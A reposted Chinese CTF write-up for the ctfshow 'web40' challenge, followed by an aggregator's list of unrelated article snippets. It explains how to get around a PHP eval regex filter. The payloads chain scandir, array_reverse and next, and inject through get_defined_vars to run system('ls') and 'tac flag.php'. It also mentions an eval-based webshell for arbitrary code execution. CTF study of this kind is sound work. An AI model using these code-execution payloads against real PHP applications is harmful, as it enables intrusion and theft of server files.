[ctfshow web入门] web40

news2025/4/19 2:48:43

信息收集

怎么一下子多这么多过滤啊,我以为跳过了好几题
这又能eval了,但是连$也不能用了
不能用. * ?,所以打不出fla*或者fla?????
不能用/,构造不出日志注入和伪协议包含
仔细观察,禁的是中文的括号,和英文括号没关系,所以我们用函数解决

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

解题

前置知识:

一些php函数:

  • pos:函数返回数组中的当前元素的值
  • current:返回数组中的当前元素的值
  • end:将内部指针指向数组中的最后一个元素,并输出
  • next:将内部指针指向数组中的下一个元素,并输出
  • prev:将内部指针指向数组中的上一个元素,并输出
  • reset:将内部指针指向数组中的第一个元素,并输出
  • array_reverse:翻转数组,例如[1,2,3,4] ⇒ [4,3,2,1]
  • getcwd:获取当前目录
  • pos(localeconv()):老师傅们的骚操作,这能拿到一个.,替代当前目录
  • scandir:获取指定路径下的目录列表
  • get_defined_vars:函数返回由所有已定义变量所组成的数组
  • print_r:打印数组
  • var_dump:啥都能打印,只是看着比较乱

方法1

第一步,查目录

print_r:打印数组
var_dump:啥都能打印,数组,类,字符串,数值。缺点是看着很乱

?c=print_r(scandir(getcwd()));

在这里插入图片描述

第二步,获取flag.php

本来想着[2]就能拿到了,但是数字被过滤了,这时候可以[TRUE+TRUE],但是[]都被过滤了
所以只能另辟蹊径了

Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php )
使用了array_reverse后,变成
Array ( [0] => index.php [1] => flag.php [2] => .. [3] => . )
用next取第二个就是flag.php了

所以索引到flag.php使用如下代码

?c=next(array_reverse(print_r(scandir(getcwd()))));

遗憾的是如果文件名在中间就没办法了。
我想到了使用pop或者unset来删除元素,可惜的是这些函数不会返回数组
同样的使用next也仅能够移动一次指针,返回的是数组里的值,而不是数组
这个数组是临时的,我们无法使用$生成变量来保存这个数组

第三步,拿到flag

show_source和highlight_file都一样

?c=highlight_file(next(array_reverse(scandir(getcwd()))));

方法2

观察函数,找突破点

?c=print_r(get_defined_vars)

能观察到我们写的print_r(get_defined_vars),再多写一个参数试试

?c=print_r(get_defined_vars());&1=111111111

在这里插入图片描述
拿到这个参数

?c=print_r(end(current(get_defined_vars())));&1=111111111

我们拿到这个参数了,所以end(current(get_defined_vars())) = $_GET[1]字符串

获取flag

这里为什么多写了一个eval,因为end(current(get_defined_vars())) = $_GET[1]的字符串,例如:1= 123 eval($_GET[c])eval("end(current(get_defined_vars()))")end(current(get_defined_vars())) = ‘123’,传入的字符串已经被执行完毕了,最后end的返回值是一个字符串

?c=eval(end(current(get_defined_vars())));&1=system('ls');
?c=eval(end(current(get_defined_vars())));&1=system('tac flag.php');

在这里插入图片描述

拓展

结合方法1,可以构造payload:
end(current(get_defined_vars())) = flag.php

?c=show_source(end(current(get_defined_vars())));&1=flag.php

其实这没有意义,我们想要的效果其实是eval($_POST[1])这样的木马,这能执行任意代码


web39    目录    web41

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2332773.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

蓝桥杯c ++笔记(含算法 贪心+动态规划+dp+进制转化+便利等)

蓝桥杯 #include <iostream> #include <vector> #include <algorithm> #include <string> using namespace std; //常使用的头文件动态规划 小蓝在黑板上连续写下从 11 到 20232023 之间所有的整数&#xff0c;得到了一个数字序列&#xff1a; S12345…

Qt问题之 告别软件因系统默认中文输入法导致错误退出的烦恼

1. 问题 使用Qt进行研发时&#xff0c;遇到一个问题&#xff0c;当在系统默认输入法中文&#xff08;英文输入法或者搜狗就不会触发闪退&#xff09;的情况下&#xff0c;选中QTableWidget控件&#xff08;QTableWidgetItem有焦点&#xff0c;但是不双击&#xff09;&#xff…

AlDente Pro for Mac电脑 充电限制保护工具

AlDente Pro for Mac电脑 充电限制保护工具 一、介绍 AlDente Pro for Mac&#xff0c;是一款充电限制保护工具&#xff0c;是可以限制最大充电百分比来保护电池的工具。锂离子和聚合物电池&#xff08;如 MacBook 中的电池&#xff09;在40&#xff05; 至 80&#xff05; 之…

算法训练之动态规划(一)

♥♥♥~~~~~~欢迎光临知星小度博客空间~~~~~~♥♥♥ ♥♥♥零星地变得优秀~也能拼凑出星河~♥♥♥ ♥♥♥我们一起努力成为更好的自己~♥♥♥ ♥♥♥如果这一篇博客对你有帮助~别忘了点赞分享哦~♥♥♥ ♥♥♥如果有什么问题可以评论区留言或者私信我哦~♥♥♥ ✨✨✨✨✨✨ 个…

Navicat连接远程PostGreSQL失败

问题描述 使用本地Navicat连接Windows远程服务器上部署的PostGreSQL数据库时,出现以下错误: 解决方案 出现以上报错信息,是因为PostGreSQL数据库服务尚未设置允许客户端建立远程连接。可做如下配置, 1. 找到PostGreSQL数据库安装目录下的data子文件夹,重点关注:postgres…

新一代达梦官方管理工具SQLark:可视化建表操作指南

在数据库管理工作中&#xff0c;新建表是一项基础且频繁的操作。SQLark 的可视化建表功能为我们提供了一种高效、便捷且丝滑流畅的建表新体验。一起来了解下吧。 SQLark 官方下载链接&#xff1a;www.sqlark.com 新建表作为常见的功能&#xff0c;相比其他管理工具&#xff0c;…

什么是EXR透视贴图 ?

EXR透视贴图是一种基于 OpenEXR 格式的高动态范围&#xff08;HDR&#xff09;图像技术&#xff0c;主要用于3D建模、渲染和视觉特效领域。它通过高精度图像数据和透视映射功能&#xff0c;为场景创建逼真的光影效果和空间深度。 技术原理 高动态范围&#xff08;HDR&#xf…

每日一题(小白)数组娱乐篇21

由于题意可知我们是要将对应的数字转换为英文&#xff0c;我们要考虑两点一个是进制的转换&#xff0c;也就是类似于我们的十进制一到9就多一位&#xff0c;这里的进制就是Z进制也就是27进制一旦到26下一位则进位&#xff1b;另一方面要考虑数字的转换也就是1~26对应A~Z。解决上…

LINUX的使用(1)-挂载云硬盘

1.磁盘的挂载&#xff1a; 这个输出是来自 fdisk 或类似的工具&#xff0c;它展示了两块磁盘的分区信息。让我们逐个分析&#xff1a; 第一块磁盘 /dev/sda: 磁盘大小: 53.7 GB (约 53687091200 字节)&#xff0c;总共有 104857600 个扇区。扇区单位: 每个扇区大小为 512 字节…

GPT-4o-image模型:开启AI图片编辑新时代

在生成式AI技术爆发式迭代的今天&#xff0c;智创聚合API率先突破多模态创作边界&#xff0c;正式发布集成GPT-4o-image模型的创作平台&#xff0c;以“文生图-图生图-循环编辑”三位一体的技术矩阵&#xff0c;重新定义数字内容生产流程。生成图像效率较传统工具提升300%&…

使用pip3安装PyTorch与PyG,实现NVIDIA CUDA GPU加速

使用python3的pip3命令安装python依赖库。 # python3 -V Python 3.12.3 # # pip3 -V pip 25.0.1 from /root/.pyenv/versions/3.12.3/lib/python3.12/site-packages/pip (python 3.12)Usage: pip3 install [options] <package> ...pip3 install [options] -r <re…

Rust主流框架性能比拼: Actix vs Axum vs Rocket

本内容是对知名性能评测博主 Anton Putra Actix (Rust) vs Axum (Rust) vs Rocket (Rust): Performance Benchmark in Kubernetes 内容的翻译与整理, 有适当删减, 相关指标和结论以原作为准 在以下中&#xff0c;我们将比较 Rust 生态中最受欢迎的几个框架。我会将三个应用程序…

【QT】QT的消息盒子和对话框(自定义对话框)

QT的消息盒子和对话框&#xff08;自定义对话框&#xff09; 一、消息盒子QMessageBox1、弹出警告盒子示例代码&#xff1a;现象&#xff1a; 2、致命错误盒子示例代码&#xff1a;现象&#xff1a; 3、帮助盒子示例代码&#xff1a;现象&#xff1a; 4、示例代码&#xff1a; …

【结合vue源码,分析vue2及vue3的数据绑定实现原理】

结合vue源码&#xff0c;分析vue2及vue3的数据绑定实现原理 Vue 2 数据绑定实现整体思路详细实现1. Observer 类&#xff1a;数据劫持2. Dep 类&#xff1a;依赖收集3. Watcher 类&#xff1a;订阅者 Vue 3 数据绑定实现整体思路详细实现1. reactive 函数&#xff1a;创建响应式…

如何实现H5端对接钉钉登录并优雅扩展其他平台

如何实现H5端对接钉钉登录并优雅扩展其他平台 钉钉H5登录逻辑后端代码如何实现&#xff1f;本次采用策略模式工厂方式进行定义接口确定会使用的基本鉴权步骤具体逻辑类进行实现采用注册表模式&#xff08;Registry Pattern&#xff09;抽象工厂进行基本逻辑定义具体工厂进行对接…

LabVIEW真空度监测与控制系统

开发了一种基于LabVIEW的真空度信号采集与管理系统&#xff0c;该系统通过图形化编程语言实现了真空度的高精度测量和控制。利用LabVIEW的强大功能&#xff0c;研制了相应的硬件并设计了完整的软件解决方案&#xff0c;以满足工业应用中对真空度监测的精确要求。 项目背景 随着…

虚拟dom工作原理以及渲染过程

浏览器渲染引擎工作流程都差不多&#xff0c;大致分为5步&#xff0c;创建DOM树——创建StyleRules——创建Render树——布局Layout——绘制Painting 第一步&#xff0c;用HTML分析器&#xff0c;分析HTML元素&#xff0c;构建一颗DOM树(标记化和树构建)。 第二步&#xff0c;用…

数据采集爬虫三要素:User-Agent、随机延迟、代理ip

做爬虫的朋友都懂&#xff1a;你刚打开一个页面&#xff0c;还没来得及发第二个请求&#xff0c;服务器已经把你当成了“可疑流量”。403、429、验证码、JS挑战……这些“欢迎仪式”你是不是也经常收到&#xff1f;防爬策略越来越猛&#xff0c;采集工程师越来越秃。 但别慌&am…

汽车的四大工艺

文章目录 冲压工艺核心流程关键技术 焊接工艺核心流程 涂装工艺核心流程 总装工艺核心流程终检与测试静态检查动态检查四轮定位制动转鼓测试淋雨测试总结 简单总结下汽车的四大工艺&#xff08;从网上找了一张图&#xff0c;感觉挺全面的&#xff09;。 冲压工艺 将金属板材通过…

【JVM是什么?JVM解决什么问题?JVM在JDK体系中是什么?虚拟机和JVM、操作系统是什么关系?】

1. JVM 是什么&#xff1f; JVM&#xff08;Java Virtual Machine&#xff0c;Java 虚拟机&#xff09; 是一个虚拟的计算机程序&#xff0c;它是 Java 程序运行的核心环境。JVM 的主要职责是加载、验证、解释或编译 Java 字节码&#xff08;.class 文件&#xff09;&#xff…